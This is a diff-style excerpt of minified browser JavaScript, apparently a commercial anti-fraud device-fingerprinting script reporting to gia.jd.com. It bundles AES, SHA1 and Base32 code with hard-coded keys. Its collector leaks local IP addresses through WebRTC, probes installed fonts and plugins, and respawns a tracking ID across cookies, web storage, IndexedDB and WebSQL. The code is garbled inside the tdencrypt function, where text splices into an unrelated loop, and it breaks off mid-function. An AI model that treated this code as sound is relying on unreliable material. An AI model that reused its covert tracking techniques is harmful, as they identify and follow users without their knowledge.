{}, + e = v.BlockCipherMode = x.extend({ + createEncryptor: function (g, m) { + return this.Encryptor.create(g, m) + }, + createDecryptor: function (g, m) { + return this.Decryptor.create(g, m) + }, + init: function (g, m) { + this._cipher = g; + this._iv = m + } + }); +n = n.CBC = function () { + function g(a, b, c) { + var l = this._iv; + l ? this._iv = t : l = this._prevBlock; + for (var h = 0; h < c; h++) a[b + h] ^= l[h] + } + var m = e.extend(); + m.Encryptor = m.extend({ + processBlock: function (a, b) { + var c = this._cipher, + l = c.blockSize; + g.call(this, a, b, l); + c.encryptBlock(a, b); + this._prevBlock = a.slice(b, b + l) + } + }); + m.Decryptor = m.extend({ + processBlock: function (a, b) { + var c = this._cipher, + l = c.blockSize, + h = a.slice(b, b + l); + c.decryptBlock(a, b); + g.call(this, a, b, l); + this._prevBlock = h + } + }); + return m +}(); +var f = (u.pad = {}).Pkcs7 = { + pad: function (g, m) { + m *= 4; + m -= g.sigBytes % m; + for (var a = m << 24 | m << 16 | m << 8 | m, b = [], c = 0; c < m; c += 4) b.push(a); + m = w.create(b, m); + g.concat(m) + }, + unpad: function (g) { + g.sigBytes -= g.words[g.sigBytes - 1 >>> 2] & 255 + } +}; +v.BlockCipher = y.extend({ + cfg: y.cfg.extend({ + mode: n, + padding: f + }), + reset: function () { + y.reset.call(this); + var g = this.cfg, + m = g.iv; + g = g.mode; + if (this._xformMode == this._ENC_XFORM_MODE) var a = g.createEncryptor; + else a = g.createDecryptor, this._minBufferSize = 1; + this._mode = a.call(g, this, m && m.words) + }, + _doProcessBlock: function (g, m) { + this._mode.processBlock(g, m) + }, + _doFinalize: function () { + var g = this.cfg.padding; + if (this._xformMode == this._ENC_XFORM_MODE) { + g.pad(this._data, this.blockSize); + var m = this._process(!0) + } else m = this._process(!0), g.unpad(m); + return m + }, + blockSize: 4 +}); +var r = v.CipherParams = x.extend({ + init: function (g) { + this.mixIn(g) + }, + toString: function (g) { + return (g || this.formatter).stringify(this) + } +}); +u.format = {}; +var k = v.SerializableCipher = x.extend({ + cfg: x.extend({}), + encrypt: function (g, m, a, b) { + b = this.cfg.extend(b); + var c = g.createEncryptor(a, b); + m = c.finalize(m); + c = c.cfg; + return r.create({ + ciphertext: m, + key: a, + iv: c.iv, + algorithm: g, + mode: c.mode, + padding: c.padding, + blockSize: g.blockSize, + formatter: b.format + }) + }, + decrypt: function (g, m, a, b) { + b = this.cfg.extend(b); + m = this._parse(m, b.format); + return g.createDecryptor(a, b).finalize(m.ciphertext) + }, + _parse: function (g, m) { + return "string" == typeof g ? m.parse(g, this) : g + } +}) +}(); +(function () { +var t = JDDSecCryptoJS, + u = t.lib.BlockCipher, + v = t.algo, + x = [], + w = [], + A = [], + y = [], + n = [], + e = [], + f = [], + r = [], + k = [], + g = []; +(function () { + for (var a = [], b = 0; 256 > b; b++) a[b] = 128 > b ? b << 1 : b << 1 ^ 283; + var c = 0, + l = 0; + for (b = 0; 256 > b; b++) { + var h = l ^ l << 1 ^ l << 2 ^ l << 3 ^ l << 4; + h = h >>> 8 ^ h & 255 ^ 99; + x[c] = h; + w[h] = c; + var q = a[c], + z = a[q], + C = a[z], + D = 257 * a[h] ^ 16843008 * h; + A[c] = D << 24 | D >>> 8; + y[c] = D << 16 | D >>> 16; + n[c] = D << 8 | D >>> 24; + e[c] = D; + D = 16843009 * C ^ 65537 * z ^ 257 * q ^ 16843008 * c; + f[h] = D << 24 | D >>> 8; + r[h] = D << 16 | D >>> 16; + k[h] = D << 8 | D >>> 24; + g[h] = D; + c ? (c = q ^ a[a[a[C ^ q]]], l ^= a[a[l]]) : c = l = 1 + } +})(); +var m = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54]; +v = v.AES = u.extend({ + _doReset: function () { + var a = this._key, + b = a.words, + c = a.sigBytes / 4; + a = 4 * ((this._nRounds = c + 6) + 1); + for (var l = this._keySchedule = [], h = 0; h < a; h++) + if (h < c) l[h] = b[h]; + else { + var q = l[h - 1]; + h % c ? 6 < c && 4 == h % c && (q = x[q >>> 24] << 24 | x[q >>> 16 & 255] << 16 | x[ + q >>> 8 & 255] << 8 | x[q & 255]) : (q = q << 8 | q >>> 24, q = x[q >>> 24] << + 24 | x[q >>> 16 & 255] << 16 | x[q >>> 8 & 255] << 8 | x[q & 255], q ^= m[h / + c | 0] << 24); + l[h] = l[h - c] ^ q + } b = this._invKeySchedule = []; + for (c = 0; c < a; c++) h = a - c, q = c % 4 ? l[h] : l[h - 4], b[c] = 4 > c || 4 >= h ? q : + f[x[q >>> 24]] ^ r[x[q >>> 16 & 255]] ^ k[x[q >>> 8 & 255]] ^ g[x[q & 255]] + }, + encryptBlock: function (a, b) { + this._doCryptBlock(a, b, this._keySchedule, A, y, n, e, x) + }, + decryptBlock: function (a, b) { + var c = a[b + 1]; + a[b + 1] = a[b + 3]; + a[b + 3] = c; + this._doCryptBlock(a, b, this._invKeySchedule, f, r, k, g, w); + c = a[b + 1]; + a[b + 1] = a[b + 3]; + a[b + 3] = c + }, + _doCryptBlock: function (a, b, c, l, h, q, z, C) { + for (var D = this._nRounds, B = a[b] ^ c[0], F = a[b + 1] ^ c[1], H = a[b + 2] ^ c[2], G = + a[b + 3] ^ c[3], I = 4, M = 1; M < D; M++) { + var J = l[B >>> 24] ^ h[F >>> 16 & 255] ^ q[H >>> 8 & 255] ^ z[G & 255] ^ c[I++], + K = l[F >>> 24] ^ h[H >>> 16 & 255] ^ q[G >>> 8 & 255] ^ z[B & 255] ^ c[I++], + L = l[H >>> 24] ^ h[G >>> 16 & 255] ^ q[B >>> 8 & 255] ^ z[F & 255] ^ c[I++]; + G = l[G >>> 24] ^ h[B >>> 16 & 255] ^ q[F >>> 8 & 255] ^ z[H & 255] ^ c[I++]; + B = J; + F = K; + H = L + } + J = (C[B >>> 24] << 24 | C[F >>> 16 & 255] << 16 | C[H >>> 8 & 255] << 8 | C[G & 255]) ^ c[ + I++]; + K = (C[F >>> 24] << 24 | C[H >>> 16 & 255] << 16 | C[G >>> 8 & 255] << 8 | C[B & 255]) ^ c[ + I++]; + L = (C[H >>> 24] << 24 | C[G >>> 16 & 255] << 16 | C[B >>> 8 & 255] << 8 | C[F & 255]) ^ c[ + I++]; + G = (C[G >>> 24] << 24 | C[B >>> 16 & 255] << 16 | C[F >>> 8 & 255] << 8 | C[H & 255]) ^ c[ + I++]; + a[b] = J; + a[b + 1] = K; + a[b + 2] = L; + a[b + 3] = G + }, + keySize: 8 +}); +t.AES = u._createHelper(v) +})(); + +(function () { +var t = JDDSecCryptoJS, + u = t.lib, + v = u.WordArray, + x = u.Hasher, + w = []; +u = t.algo.SHA1 = x.extend({ + _doReset: function () { + this._hash = new v.init([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) + }, + _doProcessBlock: function (A, y) { + for (var n = this._hash.words, e = n[0], f = n[1], r = n[2], k = n[3], g = n[4], m = 0; 80 > + m; m++) { + if (16 > m) w[m] = A[y + m] | 0; + else { + var a = w[m - 3] ^ w[m - 8] ^ w[m - 14] ^ w[m - 16]; + w[m] = a << 1 | a >>> 31 + } + a = (e << 5 | e >>> 27) + g + w[m]; + a = 20 > m ? a + ((f & r | ~f & k) + 1518500249) : 40 > m ? a + ((f ^ r ^ k) + + 1859775393) : 60 > m ? a + ((f & r | f & k | r & k) - 1894007588) : a + ((f ^ r ^ + k) - 899497514); + g = k; + k = r; + r = f << 30 | f >>> 2; + f = e; + e = a + } + n[0] = n[0] + e | 0; + n[1] = n[1] + f | 0; + n[2] = n[2] + r | 0; + n[3] = n[3] + k | 0; + n[4] = n[4] + g | 0 + }, + _doFinalize: function () { + var A = this._data, + y = A.words, + n = 8 * this._nDataBytes, + e = 8 * A.sigBytes; + y[e >>> 5] |= 128 << 24 - e % 32; + y[(e + 64 >>> 9 << 4) + 14] = Math.floor(n / 4294967296); + y[(e + 64 >>> 9 << 4) + 15] = n; + A.sigBytes = 4 * y.length; + this._process(); + return this._hash + }, + clone: function () { + var A = x.clone.call(this); + A._hash = this._hash.clone(); + return A + } +}); +t.SHA1 = x._createHelper(u); +t.HmacSHA1 = x._createHmacHelper(u) +})(); + +(function () { +var t = JDDSecCryptoJS, + u = t.channel; +u.Downlink = { + deBase32: function (v) { + if (void 0 == v || "" == v || null == v) return ""; + var x = t.enc.Hex.parse("30313233343536373839616263646566"), + w = t.enc.Hex.parse("724e5428476f307361374d3233784a6c"); + return t.AES.decrypt({ + ciphertext: t.enc.Base32.parse(v) + }, w, { + mode: t.mode.CBC, + padding: t.pad.Pkcs7, + iv: x + }).toString(t.enc.Utf8) + }, + deBase64: function (v) { + return "" + } +}; +u.Uplink = { + enAsBase32: function (v) { + return "" + }, + enAsBase64: function (v) { + return "" + } +} +})(); + +(function () { +var t = JDDSecCryptoJS, + u = t.lib.WordArray; +t.enc.Base32 = { + stringify: function (v) { + var x = v.words, + w = v.sigBytes, + A = this._map; + v.clamp(); + v = []; + for (var y = 0; y < w; y += 5) { + for (var n = [], e = 0; 5 > e; e++) n[e] = x[y + e >>> 2] >>> 24 - (y + e) % 4 * 8 & 255; + n = [n[0] >>> 3 & 31, (n[0] & 7) << 2 | n[1] >>> 6 & 3, n[1] >>> 1 & 31, (n[1] & 1) << 4 | + n[2] >>> 4 & 15, (n[2] & 15) << 1 | n[3] >>> 7 & 1, n[3] >>> 2 & 31, (n[3] & 3) << + 3 | n[4] >>> 5 & 7, n[4] & 31]; + for (e = 0; 8 > e && y + .625 * e < w; e++) v.push(A.charAt(n[e])) + } + if (x = A.charAt(32)) + for (; v.length % 8;) v.push(x); + return v.join("") + }, + parse: function (v) { + var x = v.length, + w = this._map, + A = w.charAt(32); + A && (A = v.indexOf(A), -1 != A && (x = A)); + A = []; + for (var y = 0, n = 0; n < x; n++) { + var e = n % 8; + if (0 != e && 2 != e && 5 != e) { + var f = 255 & w.indexOf(v.charAt(n - 1)) << (40 - 5 * e) % 8, + r = 255 & w.indexOf(v.charAt(n)) >>> (5 * e - 3) % 8; + e = e % 3 ? 0 : 255 & w.indexOf(v.charAt(n - 2)) << (3 == e ? 6 : 7); + A[y >>> 2] |= (f | r | e) << 24 - y % 4 * 8; + y++ + } + } + return u.create(A, y) + }, + _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567" +} +})(); + +class JDDMAC { + static t() { + return "00000000 77073096 EE0E612C 990951BA 076DC419 706AF48F E963A535 9E6495A3 0EDB8832 79DCB8A4 E0D5E91E 97D2D988 09B64C2B 7EB17CBD E7B82D07 90BF1D91 1DB71064 6AB020F2 F3B97148 84BE41DE 1ADAD47D 6DDDE4EB F4D4B551 83D385C7 136C9856 646BA8C0 FD62F97A 8A65C9EC 14015C4F 63066CD9 FA0F3D63 8D080DF5 3B6E20C8 4C69105E D56041E4 A2677172 3C03E4D1 4B04D447 D20D85FD A50AB56B 35B5A8FA 42B2986C DBBBC9D6 ACBCF940 32D86CE3 45DF5C75 DCD60DCF ABD13D59 26D930AC 51DE003A C8D75180 BFD06116 21B4F4B5 56B3C423 CFBA9599 B8BDA50F 2802B89E 5F058808 C60CD9B2 B10BE924 2F6F7C87 58684C11 C1611DAB B6662D3D 76DC4190 01DB7106 98D220BC EFD5102A 71B18589 06B6B51F 9FBFE4A5 E8B8D433 7807C9A2 0F00F934 9609A88E E10E9818 7F6A0DBB 086D3D2D 91646C97 E6635C01 6B6B51F4 1C6C6162 856530D8 F262004E 6C0695ED 1B01A57B 8208F4C1 F50FC457 65B0D9C6 12B7E950 8BBEB8EA FCB9887C 62DD1DDF 15DA2D49 8CD37CF3 FBD44C65 4DB26158 3AB551CE A3BC0074 D4BB30E2 4ADFA541 3DD895D7 A4D1C46D D3D6F4FB 4369E96A 346ED9FC AD678846 DA60B8D0 44042D73 33031DE5 AA0A4C5F DD0D7CC9 5005713C 270241AA BE0B1010 C90C2086 5768B525 206F85B3 B966D409 CE61E49F 5EDEF90E 29D9C998 B0D09822 C7D7A8B4 59B33D17 2EB40D81 B7BD5C3B C0BA6CAD EDB88320 9ABFB3B6 03B6E20C 74B1D29A EAD54739 9DD277AF 04DB2615 73DC1683 E3630B12 94643B84 0D6D6A3E 7A6A5AA8 E40ECF0B 9309FF9D 0A00AE27 7D079EB1 F00F9344 8708A3D2 1E01F268 6906C2FE F762575D 806567CB 196C3671 6E6B06E7 FED41B76 89D32BE0 10DA7A5A 67DD4ACC F9B9DF6F 8EBEEFF9 17B7BE43 60B08ED5 D6D6A3E8 A1D1937E 38D8C2C4 4FDFF252 D1BB67F1 A6BC5767 3FB506DD 48B2364B D80D2BDA AF0A1B4C 36034AF6 41047A60 DF60EFC3 A867DF55 316E8EEF 4669BE79 CB61B38C BC66831A 256FD2A0 5268E236 CC0C7795 BB0B4703 220216B9 5505262F C5BA3BBE B2BD0B28 2BB45A92 5CB36A04 C2D7FFA7 B5D0CF31 2CD99E8B 5BDEAE1D 9B64C2B0 EC63F226 756AA39C 026D930A 9C0906A9 EB0E363F 72076785 05005713 95BF4A82 E2B87A14 7BB12BAE 0CB61B38 92D28E9B E5D5BE0D 7CDCEFB7 0BDBDF21 86D3D2D4 F1D4E242 68DDB3F8 1FDA836E 81BE16CD F6B9265B 6FB077E1 18B74777 88085AE6 FF0F6A70 66063BCA 11010B5C 8F659EFF F862AE69 616BFFD3 166CCF45 A00AE278 D70DD2EE 4E048354 3903B3C2 A7672661 D06016F7 4969474D 3E6E77DB AED16A4A D9D65ADC 40DF0B66 37D83BF0 A9BCAE53 DEBB9EC5 47B2CF7F 30B5FFE9 BDBDF21C CABAC28A 53B39330 24B4A3A6 BAD03605 CDD70693 54DE5729 23D967BF B3667A2E C4614AB8 5D681B02 2A6F2B94 B40BBE37 C30C8EA1 5A05DF1B 2D02EF8D" + .split(" ").map(function (v) { + return parseInt(v, 16) + }) + } + mac(v) { + for (var x = -1, w = 0, A = v.length; w < A; w++) x = x >>> 8 ^ t[(x ^ v.charCodeAt(w)) & 255]; + return (x ^ -1) >>> 0 + } +} +var _CurrentPageProtocol = "https:" == document.location.protocol ? "https://" : "http://", +_JdJrTdRiskDomainName = window.__fp_domain || "gia.jd.com", +_url_query_str = "", +_root_domain = "", +_CurrentPageUrl = function () { + var t = document.location.href.toString(); + try { + _root_domain = /^https?:\/\/(?:\w+\.)*?(\w*\.(?:com\.cn|cn|com|net|id))[\\\/]*/.exec(t)[1] + } catch (v) {} + var u = t.indexOf("?"); + 0 < u && (_url_query_str = t.substring(u + 1), 500 < _url_query_str.length && (_url_query_str = _url_query_str.substring( + 0, 499)), t = t.substring(0, u)); + return t = t.substring(_CurrentPageProtocol.length) +}(), +jd_shadow__ = function () { + try { + var t = JDDSecCryptoJS, + u = []; + u.push(_CurrentPageUrl); + var v = t.lib.UUID.generateUuid(); + u.push(v); + var x = (new Date).getTime(); + u.push(x); + var w = t.SHA1(u.join("")).toString().toUpperCase(); + u = []; + u.push("JD3"); + u.push(w); + var A = (new JDDMAC).mac(u.join("")); + u.push(A); + var y = t.enc.Hex.parse("30313233343536373839616263646566"), + n = t.enc.Hex.parse("4c5751554935255042304e6458323365"), + e = u.join(""); + return t.AES.encrypt(t.enc.Utf8.parse(e), n, { + mode: t.mode.CBC, + padding: t.pad.Pkcs7, + iv: y + }).ciphertext.toString(t.enc.Base32) + } catch (f) { + console.log(f) + } +}() +var td_collect = new function () { + function t() { + var n = window.webkitRTCPeerConnection || window.mozRTCPeerConnection || window.RTCPeerConnection; + if (n) { + var e = function (k) { + var g = /([0-9]{1,3}(\.[0-9]{1,3}){3})/, + m = + /\s*((([0-9A-Fa-f]{1,4}:){7}([0-9A-Fa-f]{1,4}|:))|(([0-9A-Fa-f]{1,4}:){6}(:[0-9A-Fa-f]{1,4}|((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){5}(((:[0-9A-Fa-f]{1,4}){1,2})|:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){4}(((:[0-9A-Fa-f]{1,4}){1,3})|((:[0-9A-Fa-f]{1,4})?:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){3}(((:[0-9A-Fa-f]{1,4}){1,4})|((:[0-9A-Fa-f]{1,4}){0,2}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){2}(((:[0-9A-Fa-f]{1,4}){1,5})|((:[0-9A-Fa-f]{1,4}){0,3}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){1}(((:[0-9A-Fa-f]{1,4}){1,6})|((:[0-9A-Fa-f]{1,4}){0,4}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(:(((:[0-9A-Fa-f]{1,4}){1,7})|((:[0-9A-Fa-f]{1,4}){0,5}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:)))(%.+)?\s*/; + try { + var a = g.exec(k); + if (null == a || 0 == a.length || void 0 == a) a = m.exec(k); + var b = a[1]; + void 0 === f[b] && w.push(b); + f[b] = !0 + } catch (c) { } + }, + f = {}; + try { + var r = new n({ + iceServers: [{ + url: "stun:stun.services.mozilla.com" + }] + }) + } catch (k) { } + try { + void 0 === r && (r = new n({ + iceServers: [] + })) + } catch (k) { } + if (r || window.mozRTCPeerConnection) try { + r.createDataChannel("chat", { + reliable: !1 + }) + } catch (k) { } + r && (r.onicecandidate = function (k) { + k.candidate && e(k.candidate.candidate) + }, r.createOffer(function (k) { + r.setLocalDescription(k, function () { }, function () { }) + }, function () { }), setTimeout(function () { + try { + r.localDescription.sdp.split("\n").forEach(function (k) { + 0 === k.indexOf("a=candidate:") && e(k) + }) + } catch (k) { } + }, 800)) + } + } + + function u(n) { + var e; + return (e = document.cookie.match(new RegExp("(^| )" + n + "=([^;]*)(;|$)"))) ? e[2] : "" + } + + function v() { + function n(g) { + var m = {}; + r.style.fontFamily = g; + document.body.appendChild(r); + m.height = r.offsetHeight; + m.width = r.offsetWidth; + document.body.removeChild(r); + return m + } + var e = ["monospace", "sans-serif", "serif"], + f = [], + r = document.createElement("span"); + r.style.fontSize = "72px"; + r.style.visibility = "hidden"; + r.innerHTML = "mmmmmmmmmmlli"; + for (var k = 0; k < e.length; k++) f[k] = n(e[k]); + this.checkSupportFont = function (g) { + for (var m = 0; m < f.length; m++) { + var a = n(g + "," + e[m]), + b = f[m]; + if (a.height !== b.height || a.width !== b.width) return !0 + } + return !1 + } + } + + function x(n) { + var e = {}; + e.name = n.name; + e.filename = n.filename.toLowerCase(); + e.description = n.description; + void 0 !== n.version && (e.version = n.version); + e.mimeTypes = []; + for (var f = 0; f < n.length; f++) { + var r = n[f], + k = {}; + k.description = r.description; + k.suffixes = r.suffixes; + k.type = r.type; + e.mimeTypes.push(k) + } + return e + } + this.bizId = ""; + this.bioConfig = { + type: "42", + operation: 1, + duraTime: 2, + interval: 50 + }; + this.worder = null; + this.deviceInfo = { + userAgent: "", + isJdApp: !1, + isJrApp: !1, + sdkToken: "", + fp: "", + eid: "" + }; + this.isRpTok = !1; + this.obtainLocal = function (n) { + n = "undefined" !== typeof n && n ? !0 : !1; + var e = {}; + try { + var f = document.cookie.replace(/(?:(?:^|.*;\s*)3AB9D23F7A4B3C9B\s*=\s*([^;]*).*$)|^.*$/, "$1"); + 0 !== f.length && (e.cookie = f) + } catch (k) { } + try { + window.localStorage && null !== window.localStorage && 0 !== window.localStorage.length && (e.localStorage = + window.localStorage.getItem("3AB9D23F7A4B3C9B")) + } catch (k) { } + try { + window.sessionStorage && null !== window.sessionStorage && (e.sessionStorage = window.sessionStorage[ + "3AB9D23F7A4B3C9B"]) + } catch (k) { } + try { + p.globalStorage && (e.globalStorage = window.globalStorage[".localdomain"]["3AB9D23F7A4B3C9B"]) + } catch (k) { } + try { + d && "function" == typeof d.load && "function" == typeof d.getAttribute && (d.load( + "jdgia_user_data"), e.userData = d.getAttribute("3AB9D23F7A4B3C9B")) + } catch (k) { } + try { + E.indexedDbId && (e.indexedDb = E.indexedDbId) + } catch (k) { } + try { + E.webDbId && (e.webDb = E.webDbId) + } catch (k) { } + try { + for (var r in e) + if (32 < e[r].length) { + _JdEid = e[r]; + n || (_eidFlag = !0); + break + } + } catch (k) { } + try { + ("undefined" === typeof _JdEid || 0 >= _JdEid.length) && this.db("3AB9D23F7A4B3C9B"); + if ("undefined" === typeof _JdEid || 0 >= _JdEid.length) _JdEid = u("3AB9D23F7A4B3C9B"); + if ("undefined" === typeof _JdEid || 0 >= _JdEid.length) _eidFlag = !0 + } catch (k) { } + return _JdEid + }; + var w = [], + A = + "Abadi MT Condensed Light;Adobe Fangsong Std;Adobe Hebrew;Adobe Ming Std;Agency FB;Arab;Arabic Typesetting;Arial Black;Batang;Bauhaus 93;Bell MT;Bitstream Vera Serif;Bodoni MT;Bookman Old Style;Braggadocio;Broadway;Calibri;Californian FB;Castellar;Casual;Centaur;Century Gothic;Chalkduster;Colonna MT;Copperplate Gothic Light;DejaVu LGC Sans Mono;Desdemona;DFKai-SB;Dotum;Engravers MT;Eras Bold ITC;Eurostile;FangSong;Forte;Franklin Gothic Heavy;French Script MT;Gabriola;Gigi;Gisha;Goudy Old Style;Gulim;GungSeo;Haettenschweiler;Harrington;Hiragino Sans GB;Impact;Informal Roman;KacstOne;Kino MT;Kozuka Gothic Pr6N;Lohit Gujarati;Loma;Lucida Bright;Lucida Fax;Magneto;Malgun Gothic;Matura MT Script Capitals;Menlo;MingLiU-ExtB;MoolBoran;MS PMincho;MS Reference Sans Serif;News Gothic MT;Niagara Solid;Nyala;Palace Script MT;Papyrus;Perpetua;Playbill;PMingLiU;Rachana;Rockwell;Sawasdee;Script MT Bold;Segoe Print;Showcard Gothic;SimHei;Snap ITC;TlwgMono;Tw Cen MT Condensed Extra Bold;Ubuntu;Umpush;Univers;Utopia;Vladimir Script;Wide Latin" + .split(";"), + y = + "4game;AdblockPlugin;AdobeExManCCDetect;AdobeExManDetect;Alawar NPAPI utils;Aliedit Plug-In;Alipay Security Control 3;AliSSOLogin plugin;AmazonMP3DownloaderPlugin;AOL Media Playback Plugin;AppUp;ArchiCAD;AVG SiteSafety plugin;Babylon ToolBar;Battlelog Game Launcher;BitCometAgent;Bitdefender QuickScan;BlueStacks Install Detector;CatalinaGroup Update;Citrix ICA Client;Citrix online plug-in;Citrix Receiver Plug-in;Coowon Update;DealPlyLive Update;Default Browser Helper;DivX Browser Plug-In;DivX Plus Web Player;DivX VOD Helper Plug-in;doubleTwist Web Plugin;Downloaders plugin;downloadUpdater;eMusicPlugin DLM6;ESN Launch Mozilla Plugin;ESN Sonar API;Exif Everywhere;Facebook Plugin;File Downloader Plug-in;FileLab plugin;FlyOrDie Games Plugin;Folx 3 Browser Plugin;FUZEShare;GDL Object Web Plug-in 16.00;GFACE Plugin;Ginger;Gnome Shell Integration;Google Earth Plugin;Google Earth Plug-in;Google Gears 0.5.33.0;Google Talk Effects Plugin;Google Update;Harmony Firefox Plugin;Harmony Plug-In;Heroes & Generals live;HPDetect;Html5 location provider;IE Tab plugin;iGetterScriptablePlugin;iMesh plugin;Kaspersky Password Manager;LastPass;LogMeIn Plugin 1.0.0.935;LogMeIn Plugin 1.0.0.961;Ma-Config.com plugin;Microsoft Office 2013;MinibarPlugin;Native Client;Nitro PDF Plug-In;Nokia Suite Enabler Plugin;Norton Identity Safe;npAPI Plugin;NPLastPass;NPPlayerShell;npTongbuAddin;NyxLauncher;Octoshape Streaming Services;Online Storage plug-in;Orbit Downloader;Pando Web Plugin;Parom.TV player plugin;PDF integrado do WebKit;PDF-XChange Viewer;PhotoCenterPlugin1.1.2.2;Picasa;PlayOn Plug-in;QQ2013 Firefox Plugin;QQDownload Plugin;QQMiniDL Plugin;QQMusic;RealDownloader Plugin;Roblox Launcher Plugin;RockMelt Update;Safer Update;SafeSearch;Scripting.Dictionary;SefClient Plugin;Shell.UIHelper;Silverlight Plug-In;Simple Pass;Skype Web Plugin;SumatraPDF Browser Plugin;Symantec PKI Client;Tencent FTN plug-in;Thunder DapCtrl NPAPI Plugin;TorchHelper;Unity Player;Uplay PC;VDownloader;Veetle TV Core;VLC Multimedia Plugin;Web Components;WebKit-integrierte PDF;WEBZEN Browser Extension;Wolfram Mathematica;WordCaptureX;WPI Detector 1.4;Yandex Media Plugin;Yandex PDF Viewer;YouTube Plug-in;zako" + .split(";"); + this.toJson = "object" === typeof JSON && JSON.stringify; + this.init = function () { + _fingerprint_step = 6; + t(); + _fingerprint_step = 7; + "function" !== typeof this.toJson && (this.toJson = function (n) { + var e = typeof n; + if ("undefined" === e || null === n) return "null"; + if ("number" === e || "boolean" === e) return n + ""; + if ("object" === e && n && n.constructor === Array) { + e = []; + for (var f = 0; n.length > f; f++) e.push(this.toJson(n[f])); + return "[" + (e + "]") + } + if ("object" === e) { + e = []; + for (f in n) n.hasOwnProperty(f) && e.push('"' + f + '":' + this.toJson(n[f])); + return "{" + (e + "}") + } + }); + this.sdkCollectInit() + }; + this.sdkCollectInit = function () { + try { + try { + bp_bizid && (this.bizId = bp_bizid) + } catch (f) { + this.bizId = "jsDefault" + } + var n = navigator.userAgent.toLowerCase(), + e = !n.match(/(iphone|ipad|ipod)/i) && (-1 < n.indexOf("android") || -1 < n.indexOf("adr")); + this.deviceInfo.isJdApp = -1 < n.indexOf("jdapp"); + this.deviceInfo.isJrApp = -1 < n.indexOf("jdjr"); + this.deviceInfo.userAgent = navigator.userAgent; + this.deviceInfo.isAndroid = e; + this.createWorker() + } catch (f) { } + }; + this.db = function (n, e) { + try { + _fingerprint_step = "m"; + if (window.openDatabase) { + var f = window.openDatabase("sqlite_jdtdstorage", "", "jdtdstorage", 1048576); + void 0 !== e && "" != e ? f.transaction(function (r) { + r.executeSql( + "CREATE TABLE IF NOT EXISTS cache(id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, name TEXT NOT NULL, value TEXT NOT NULL, UNIQUE (name))", + [], + function (k, g) { }, + function (k, g) { }); + r.executeSql("INSERT OR REPLACE INTO cache(name, value) VALUES(?, ?)", [n, e], + function (k, g) { }, + function (k, g) { }) + }) : f.transaction(function (r) { + r.executeSql("SELECT value FROM cache WHERE name=?", [n], function (k, g) { + 1 <= g.rows.length && (_JdEid = g.rows.item(0).value) + }, function (k, g) { }) + }) + } + _fingerprint_step = "n" + } catch (r) { } + }; + this.setCookie = function (n, e) { + void 0 !== e && "" != e && (document.cookie = n + "=" + e + + "; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/; domain=" + _root_domain) + }; + this.tdencrypt = function (n) { + n = this.toJson(n); + n = encodeURIComponent(n); + var e = "", + f = 0; + do { + var r = n.charCodeAt(f++); + var k = n.charCodeAt(f++); + var g = n.charCodeAt(f++); + var m = r >> 2; + r = (r & 3) << 4 | k >> 4; + var a = (k & 15) << 2 | g >> 6; + var b = g & 63; + isNaN(k) ? a = b = 64 : isNaN(g) && (b = 64); + e = e + "23IL k; k++) C = q[k], void 0 !== screen[C] && (z[C] = screen[C]); + q = ["devicePixelRatio", "screenTop", "screenLeft"]; + l = {}; + for (k = 0; q.length > k; k++) C = q[k], void 0 !== window[C] && (l[C] = window[C]); + e.p = h; + e.w = l; + e.s = z; + e.sc = f; + e.tz = n.getTimezoneOffset(); + e.lil = w.sort().join("|"); + e.wil = ""; + f = {}; + try { + f.cookie = navigator.cookieEnabled, f.localStorage = !!window.localStorage, f.sessionStorage = !! + window.sessionStorage, f.globalStorage = !!window.globalStorage, f.indexedDB = !!window.indexedDB + } catch (D) { } + e.ss = f; + e.ts.deviceTime = n.getTime(); + e.ts.deviceEndTime = (new Date).getTime(); + return this.tdencrypt(e) + }; + this.collectSdk = function (n) { + try { + var e = this, + f = !1, + r = e.getLocal("BATQW722QTLYVCRD"); + if (null != r && void 0 != r && "" != r) try { + var k = JSON.parse(r), + g = (new Date).getTime(); + null != k && void 0 != k.t && "number" == typeof k.t && (12E5 >= g - k.t && void 0 != k.tk && + null != k.tk && "" != k.tk && k.tk.startsWith("jdd") ? (e.deviceInfo.sdkToken = k.tk, + f = !0) : void 0 != k.tk && null != k.tk && "" != k.tk && (e.deviceInfo.sdkToken = + k.tk)) + } catch (m) { } + r = !1; + e.deviceInfo.isJdApp ? (e.deviceInfo.clientVersion = navigator.userAgent.split(";")[2], (r = 0 < e.compareVersion( + e.deviceInfo.clientVersion, "7.0.2")) && !f && e.getJdSdkCacheToken(function (m) { + e.deviceInfo.sdkToken = m; + null != m && "" != m && m.startsWith("jdd") || e.getJdBioToken(n) + })) : e.deviceInfo.isJrApp && (e.deviceInfo.clientVersion = navigator.userAgent.match( + /clientVersion=([^&]*)(&|$)/)[1], (r = 0 < e.compareVersion(e.deviceInfo.clientVersion, + "4.6.0")) && !f && e.getJdJrSdkCacheToken(function (m) { + e.deviceInfo.sdkToken = m; + null != m && "" != m && m.startsWith("jdd") || e.getJdJrBioToken(n) + })); + "function" == typeof n && n(e.deviceInfo) + } catch (m) { } + }; + this.compareVersion = function (n, e) { + try { + if (n === e) return 0; + var f = n.split("."); + var r = e.split("."); + for (n = 0; n < f.length; n++) { + var k = 